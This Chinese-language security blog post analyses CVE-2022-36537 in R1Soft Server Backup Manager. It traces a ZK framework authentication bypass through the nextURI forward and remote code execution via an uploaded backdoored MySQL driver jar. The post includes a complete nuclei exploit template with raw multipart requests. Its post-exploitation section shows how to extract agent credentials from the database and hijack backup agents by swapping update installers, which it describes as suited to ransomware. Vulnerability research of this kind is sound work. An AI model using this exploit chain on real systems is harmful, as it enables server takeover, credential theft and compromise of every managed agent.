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环境
http://wiki.r1soft.com/display/ServerBackup/Install+Server+Backup+Manager+on+Debian+and+Ubuntu.html
下载 http://repo.r1soft.com/6.16.3/75/trials/R1soft-ServerBackup-Manager-SE-linux64.zip
http://repo.r1soft.com/6.16.3/75/r1soft-getmodule-1.0.0-101_amd64.deb
把deb放到同一个目录，然后 dpkg -i *.deb
serverbackup-setup --user admin --pass r1soft
serverbackup-setup --http-port 8080 --https-port 8443
systemctl restart sbm-server.servicehttp://172.16.9.145:8080/login.zul
调试java需要编辑/usr/sbin/r1soft/conf/server.conf加一行
additional.23=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005分析
这个漏洞分为两个部分
-
1. ZK framework的[一个权限绕过漏洞ZK-5150] https://tracker.zkoss.org/browse/ZK-5150
-
2. 上传jar包rce
先来看第一个洞
ZK-5150权限绕过
https://tracker.zkoss.org/browse/ZK-5150
根据漏洞描述来看，/zkau/upload路由对应的AuUploader中可以通过nextURI进行forward转发操作。这个forward可能被用来绕过权限认证，或者泄露web.xml等敏感文件。
看一下GitHub的代码
https://github.com/zkoss/zk/blob/v9.6.1/zk/src/org/zkoss/zk/au/http/AuUploader.java#LL217C3-L217C3
public void service(HttpServletRequest request, HttpServletResponse response, String pathInfo)
throws ServletException, IOException {
final Session sess = Sessions.getCurrent(false);
if (sess == null) {
response.setIntHeader("ZK-Error", HttpServletResponse.SC_GONE);
return;
}
final Map<String, String> attrs = new HashMap<String, String>();
String alert = null, uuid = null, nextURI = null, sid = null;
Desktop desktop = null;
try {
if (!isMultipartContent(request)) {
if ("uploadInfo".equals(request.getParameter("cmd"))) {
// refix ZK-2056: should escape both XML and Javascript
uuid = escapeParam(request.getParameter("wid"));
sid = escapeParam(request.getParameter("sid"));
desktop = ((WebAppCtrl) sess.getWebApp()).getDesktopCache(sess)
.getDesktop(XMLs.encodeText(request.getParameter("dtid")));
Map<String, Integer> percent = cast((Map) desktop.getAttribute(Attributes.UPLOAD_PERCENT));
Map<String, Object> size = cast((Map) desktop.getAttribute(Attributes.UPLOAD_SIZE));
// ZK-2329
if (percent == null || size == null) {
response.getWriter().write("ignore");
return;
}
final String key = uuid + '_' + sid;
Object sinfo = size.get(key);
if (sinfo instanceof String) {
response.getWriter().write("error:" + sinfo);
size.remove(key);
percent.remove(key);
return;
}
final Integer p = percent.get(key);
final Long cb = (Long) sinfo;
response.getWriter()
.write((p != null ? p.intValue() : -1) + "," + (cb != null ? cb.longValue() : -1));
return;
} else
alert = generateAlertMessage(ILLEGAL_UPLOAD, "enctype must be multipart/form-data");
} else {
// refix ZK-2056: should escape both XML and Javascript
uuid = escapeParam(request.getParameter("uuid"));
sid = escapeParam(request.getParameter("sid"));
if (uuid == null || uuid.length() == 0) {
alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, "uuid is required!");
} else {
attrs.put("uuid", uuid);
attrs.put("sid", sid);
// refix ZK-2056: should escape both XML and Javascript
final String dtid = escapeParam(request.getParameter("dtid"));
if (dtid == null || dtid.length() == 0) {
alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, "dtid is required!");
} else {
desktop = ((WebAppCtrl) sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);
final Map<String, Object> params = parseRequest(request, desktop, uuid + '_' + sid);
nextURI = (String) params.get("nextURI");
processItems(desktop, params, attrs);
}
}
}
} catch (Throwable ex) {
if (uuid == null) {
uuid = request.getParameter("uuid");
if (uuid != null)
attrs.put("uuid", uuid);
}
if (nextURI == null)
nextURI = request.getParameter("nextURI");
if (ex instanceof ComponentNotFoundException) {
alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, Messages.get(MZk.UPDATE_OBSOLETE_PAGE, uuid));
} else {
alert = handleError(ex);
}
if (desktop != null) {
Map<String, Integer> percent = cast((Map) desktop.getAttribute(Attributes.UPLOAD_PERCENT));
Map<String, Object> size = cast((Map) desktop.getAttribute(Attributes.UPLOAD_SIZE));
final String key = uuid + '_' + sid;
if (percent != null) {
percent.remove(key);
size.remove(key);
}
}
}
if (attrs.get("contentId") == null && alert == null)
//B65-ZK-1724: display more meaningful errormessage
alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, "Upload Aborted : (contentId is required)");
if (alert != null) {
if (desktop == null) {
response.setIntHeader("ZK-Error", HttpServletResponse.SC_GONE);
return;
}
Map<String, Integer> percent = cast((Map) desktop.getAttribute(Attributes.UPLOAD_PERCENT));
Map<String, Object> size = cast((Map) desktop.getAttribute(Attributes.UPLOAD_SIZE));
final String key = uuid + '_' + sid;
if (percent != null) {
percent.remove(key);
size.put(key, alert);
}
}
if (log.isTraceEnabled())
log.trace(Objects.toString(attrs));
if (nextURI == null || nextURI.length() == 0)
nextURI = "~./zul/html/fileupload-done.html.dsp";
Servlets.forward(_ctx, request, response, nextURI, attrs, Servlets.PASS_THRU_ATTR);
}nextURI可以从request中接收，由Servlets.forward(_ctx, request, response, nextURI, attrs, Servlets.PASS_THRU_ATTR);转发过去
想要给nextURI赋值，必须满足!isMultipartContent(request)==true这个条件
public static final boolean isMultipartContent(HttpServletRequest request) {
return "post".equals(request.getMethod().toLowerCase(Locale.ENGLISH)) && FileUploadBase.isMultipartContent(new ServletRequestContext(request));
}很明显，就是需要Multipart发包传参数。
然后在下面这个地方有坑，这个放到后面说。
desktop = ((WebAppCtrl)sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);parseRequest函数，将请求体Multipart解析出来，放入一个map中
然后nextURI = (String)size.get("nextURI");拿到nextURI，最后通过Servlets.forward转发nextURI的请求。
我们以http://172.16.9.145:8080/Configuration/server-info.zul为例，测试一下通过nextURI转发绕过权限认证，这个页面是需要登陆才能访问的。
没有权限访问，所以跳转到login
接下来使用nextURI转发
没成功，断点调试一下
发现在desktop = ((WebAppCtrl)sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);这个地方取不到dtid为dd的Desktop对象。
getDesktopCache中缓存为空值，这个东西不知道从哪进行给他添加缓存，然后我开了bp抓包，观察dtid的参数值及其引用的地方发现，dtid对应的应该是一个页面的缓存标识。
比如我访问/login.zul，赋予一个session
并且此时页面的给了一个dt值
我们加上session并且将这个dt给上
可见确实绕过了权限认证，并且拿到了一些敏感信息，比如服务器：PublicKey、serverBuildDate
此时调试来看dtid对应的就是login.zul页面
好了，到此为止，我们绕过了权限认证，捋一下利用步骤
-
1. 访问首页，拿到dtid和JSESSIONID
-
2. 通过/zkau/upload的nextURI转发请求
-
3. 受限于Multipart要求，只能转发POST请求。
所以需要找到POST请求的可以RCE的点。
mysql driver RCE
huntress的文章中已经写了，重点在于怎么用nextURI构造exp
代码在com.r1soft.backup.server.web.configuration.DatabaseDriversWindow#onUpload
跟进com.r1soft.backup.server.facade.DatabaseFacade#uploadMySQLDriver
先判断MySQLUtil.hasMySQLDriverClass(var5)，然后将jar包调用ClassPathUtil.addFile(var5);加入到classpath。
hasMySQLDriverClass判断你的jar包是否有org.gjt.mm.mysql.Driver这个类
调用URLClassLoader
然后testMySQLDatabaseDriver测试驱动
public Boolean testMySQLDatabaseDriver() {
return MySQLDatabaseConnection.driverTest();
}
public static boolean driverTest() {
try {
Class.forName("org.gjt.mm.mysql.Driver");
return true;
} catch (ClassNotFoundException var1) {
return false;
}
}所以我们可以传jar包，内置一个org.gjt.mm.mysql.Driver类，并且写上static代码块来执行自定义代码。
rce的整个过程捋通了，那么就是痛苦的构造exp的时候，怎么痛苦往下看就知道了。
先来一个数据库jar包，直接抄 https://github.com/airman604/jdbc-backdoor 的，改下类名即可，编译的时候一定要兼容低版本jdk，因为默认是jdk7的，用8编译出来的class会报错。
javac -source 1.6 -target 1.6 org/gjt/mm/mysql/Driver.java接下来构造请求包，我先把我的exp贴出来，nuclei模版
id: R1Soft
info:
name: ConnectWise R1Soft Authentication Bypass RCE
author: Y4er
severity: critical
description: |
The ZK framework disclosed a permission bypass vulnerability, and R1Soft used the ZK framework, resulting in a permission bypass, and remote code execution can be performed by uploading the database driver.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-36537
- https://www.connectwise.com/company/trust/security-bulletins/r1soft-and-recover-security-bulletin
tags: cve2022,zk,ConnectWise,R1Soft,RCE
variables:
uuid: '{{to_lower(rand_base(5))}}'
requests:
- raw:
- |
GET /login.zul HTTP/1.1
Host: {{Hostname}}
Connection: close
- |
POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="nextURI";
/Configuration/database-drivers.zul
------WebKitFormBoundary1PqbBueTuhKJdCD1--
- |
POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="nextURI";
/zkau?dtid={{databasedtid}}&cmd_0=onClick&uuid_0={{mysqlDriverUploadButtonid}}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D
------WebKitFormBoundary1PqbBueTuhKJdCD1--
- |
POST /zkau/upload?uuid={{Fileuploadid}}&dtid={{databasedtid}}&sid=0&maxsize=-1 HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="file"; filename="{{randstr}}.jar"
Content-Type: application/java-archive
{{base64_decode('jar包base64编码')}}
------WebKitFormBoundary1PqbBueTuhKJdCD1--
- |
POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="nextURI";
/zkau?dtid={{databasedtid}}&cmd_0=onMove&opt_0=i&uuid_0={{FileuploadDlgid}}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={{FileuploadDlgid}}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{{Fileuploadid}}%22%2C%22sid%22%3A%220%22%7D
------WebKitFormBoundary1PqbBueTuhKJdCD1--
- |
POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="nextURI";
/zkau?dtid={{databasedtid}}&cmd_0=onClose&uuid_0={{FileuploadDlgid}}&data_0=%7B%22%22%3Atrue%7D
------WebKitFormBoundary1PqbBueTuhKJdCD1--
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
words:
- "The file does not contain the MySQL JDBC database driver"
- "The MySQL database driver was uploaded successfully"
part: body
extractors:
- type: regex
name: logindtid
internal: true
group: 1
regex:
- "dt:'(.*?)',cu:'',uu:'\\x2Fzkau',ru:'\\x2Flogin.zul'"
- type: regex
name: databasedtid
internal: true
group: 1
regex:
- "dt:'(.*?)',cu:'',uu:'\\x2Fzkau',ru:'\\x2FConfiguration\\x2Fdatabase\\x2Ddrivers.zul"
- type: regex
name: mysqlDriverUploadButtonid
internal: true
group: 1
regex:
- "'zul.wgt.Button','(.*)',{id:'mysqlDriverUploadButton'"
- type: regex
name: FileuploadDlgid
internal: true
group: 1
regex:
- "zul.fud.FileuploadDlg','(.*)',"
- type: regex
name: Fileuploadid
internal: true
group: 1
regex:
- "'zul.wgt.Fileupload','(.*?)',"反弹shell成功
上传的jar包在/usr/sbin/r1soft/conf/database-drivers/mysql-connector.jar，只能打一次，因为static只会被加载一次。
编写exp只需要把正常的上传包用nextURI转发下，好像有4、5个请求包，模拟一下就行了。
看我的exp可见需要几个参数logindtid、databasedtid、mysqlDriverUploadButtonid、FileuploadDlgid、Fileuploadid，用nuclei提取出来即可，除了有点恶心人以外没啥技术含量。
杂记
在使用nextURI触发/Configuration/database-drivers.zul拿dtid时，一直没找到这个zul应该怎么访问，我登陆进去访问抓的请求包一直都是直接POST的/zkau，然后在看com.r1soft.backup.server.web.configuration.LDAPAuthenticationWindow的时候发现了
放浏览器里发现可以直接打开，然后就按规律DatabaseDriversWindow对应/Configuration/database-drivers.zul，由此才拿到关键的database dtid
写文章的时候思来想去觉得这种上传jar包的方式不优雅，一个不小心jar包就把系统整炸了，而且收到Class.forName的影响，只能打一次，所以尝试找了一下其他方式
在com.r1soft.backup.server.web.configuration.LDAPTestConnectionWindow#testConnection中
有ldap操作
不过没有调用lookup，自己用unboundid库实现了一个ldap server，lookup会触发processSearchResult，而new InitialDirContext(var9)只会触发processSimpleBindRequest、processSimpleBindResult，processSimpleBindResult中好像没有办法返回这些属性
Entry e = new Entry(baseDN);
e.addAttribute("javaClassName", clazzName);
e.addAttribute("javaCodeBase", Config.codebase);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", clazzName);所以好像利用不了，如果有对ldap熟悉的师傅希望可以指点一下。
后利用
huntress的文章中演示了一个脚本直接勒索所有agent，我看了下有几种方式。
-
1. 数据库中存储了agent的账号密码，打了r1soft server之后直接smb过去
-
2. 替换agent文件
数据库文件在/usr/sbin/r1soft/data/h2/r1backup.h2.db
没找到密码在哪配置的，看日志配了c3p0库，所以直接断点断到com.mchange.v2.c3p0.impl.NewProxyConnection#NewProxyConnection(java.sql.Connection)
向上回溯到org.hibernate.engine.jdbc.internal.LogicalConnectionImpl#getConnection拿到数据库明文密码
在select MAPKEY,DATA from TASKEXECUTIONCONTEXTDATA where MAPKEY like 'agent%'表中发现账号密码
agentUser 0xACED000574000D61646D696E6973747261746F72
agentHost 0xACED000574000C3137322E31362E392E313436
agentPass 0xACED000574000A61646D696E3136214023
agent的明文密码就有了
另一种方式是直接替换掉服务端的agent文件。
root@ubuntu:/usr/sbin/r1soft# ls Deployment/Agent/
r1soft-getmodule-amd64.deb serverbackup-agent-i386.rpm serverbackup-enterprise-agent-amd64.deb serverbackup-setup-i386.deb.asc
r1soft-getmodule-amd64.deb.asc serverbackup-agent-i386.rpm.asc serverbackup-enterprise-agent-amd64.deb.asc serverbackup-setup-i386.rpm
r1soft-getmodule-i386.deb serverbackup-agent-x86_64.rpm serverbackup-enterprise-agent-i386.deb serverbackup-setup-i386.rpm.asc
r1soft-getmodule-i386.deb.asc serverbackup-agent-x86_64.rpm.asc serverbackup-enterprise-agent-i386.deb.asc serverbackup-setup-x86_64.rpm
r1soft-getmodule-i386.rpm serverbackup-async-agent-amd64.deb serverbackup-enterprise-agent-i386.rpm serverbackup-setup-x86_64.rpm.asc
r1soft-getmodule-i386.rpm.asc serverbackup-async-agent-amd64.deb.asc serverbackup-enterprise-agent-i386.rpm.asc ServerBackup-Windows-Agent-x64.msi
r1soft-getmodule-x86_64.rpm serverbackup-async-agent-i386.deb serverbackup-enterprise-agent-x86_64.rpm ServerBackup-Windows-Agent-x64.msi.asc
r1soft-getmodule-x86_64.rpm.asc serverbackup-async-agent-i386.deb.asc serverbackup-enterprise-agent-x86_64.rpm.asc ServerBackup-Windows-Agent-x86.msi
serverbackup-agent-amd64.deb serverbackup-async-agent-i386.rpm ServerBackup-Service.exe ServerBackup-Windows-Agent-x86.msi.asc
serverbackup-agent-amd64.deb.asc serverbackup-async-agent-i386.rpm.asc serverbackup-setup-amd64.deb
serverbackup-agent-i386.deb serverbackup-async-agent-x86_64.rpm serverbackup-setup-amd64.deb.asc
serverbackup-agent-i386.deb.asc serverbackup-async-agent-x86_64.rpm.asc serverbackup-setup-i386.deb当添加完需要备份的机器，然后部署agent时，点击“Deploy Agent Software”
弹出下图
当账号密码正确时，我们应该考虑他是怎么部署agent到目标机器上的，跟代码看一下。当点击提交时，会向任务队列中放一个RemoteAgentDeploymentTask实例来异步安装agent
该实例真正安装agent的函数处理在
com.r1soft.backup.server.worker.RemoteAgentDeploymentWorker#processWindowsDeployment
关键的点就图中圈起来的5个步骤
第一，尝试连接远程rpc服务
第二，初始化IPC共享临时目录
第三，通过smb把agent安装文件写入ipc
public void transferBinary() throws DeploymentException, InterruptedException {
this.transferBinary(WINDOWS_SERVICE_BINARY_PATH);
this.transferBinary(WINDOWS_32BIT_INSTALLER_PATH);
this.transferBinary(WINDOWS_64BIT_INSTALLER_PATH);
}
第四，传输公钥和部署key
public void transferKey() throws DeploymentException, InterruptedException {
this.transferBinary(PUBLIC_KEY_PATH, this.deploymentKey);
}第五，远程创建并启动ServerBackupAgentDeployment服务
该服务就是执行ipc共享中传过来的安装包
很明显了。
那么在实际利用中，我们没有agent的账号密码，应该怎么用呢？
实际目标应该是已经配好了agent，会增加一个“Update Agent Software”的选项
这个不需要输入密码，可以直接替换安装包ServerBackup-Windows-Agent-x64.msi或者wsbausx64.exe，即可rce agent。
不过有个小坑，我们跟一下来看
agent update的操作在com.r1soft.backup.server.task.AgentUpdateTask#run
windows系统会进入com.r1soft.backup.server.task.AgentUpdateWindows#run
这里会比较agent版本号，获取server上的版本号是通过读文件的形式
com.r1soft.backup.server.facade.AgentFacade#getAgentInstallerInfo
所以修改/usr/sbin/r1soft/bin/scripts/WindowsAgentInstallerVersion文件为一个大的版本号，这样就会重新安装agent了。
接着先通过restoreFiles传输安装包
然后执行下面两条命令
cmd.exe /c del C:WindowsTempwsbaus*
cmd.exe /c C:WindowsTemp2ade228f-c92e-49c2-8b63-fd4bfdc9040f_wsbausx64.exe install
cmd.exe /c echo {"ServiceCtrlTimeout":300,"AgentService":"cdp","MsiPackage":"2ade228f-c92e-49c2-8b63-fd4bfdc9040f_ServerBackup-Windows-Agent-x64.msi"} > C:WindowsTempwsbaus.config
net start wsbauswsbausx64.exe install安装服务，然后wsbaus服务会启动2ade228f-c92e-49c2-8b63-fd4bfdc9040f_ServerBackup-Windows-Agent-x64.msi
所以替换安装包，或者替换wsbaus服务都可以控制agent。
总结
这篇文章从ZK权限绕过，使用nextURI转发绕过权限认证，然后用mysql drivers jar包来rce r1soft server端，然后通过下发更新包的形式控制agent，勒索神器。洋洋洒洒写了这么多字，希望对读者有所帮助。
参考
-
1. https://www.huntress.com/blog/critical-vulnerability-disclosure-connectwise/r1soft-server-backup-manager-remote-code-execution-supply-chain-risks
-
2. https://tracker.zkoss.org/browse/ZK-5150
-
3. http://repo.r1soft.com/
-
4. https://www.connectwise.com/company/trust/security-bulletins/r1soft-and-recover-security-bulletin
跳跳糖是一个安全社区，旨在为安全人员提供一个能让思维跳跃起来的交流平台。
原文始发于微信公众号（跳跳糖社区）：ZK框架权限绕过导致R1Soft Server Backup Manager RCE并接管Agent
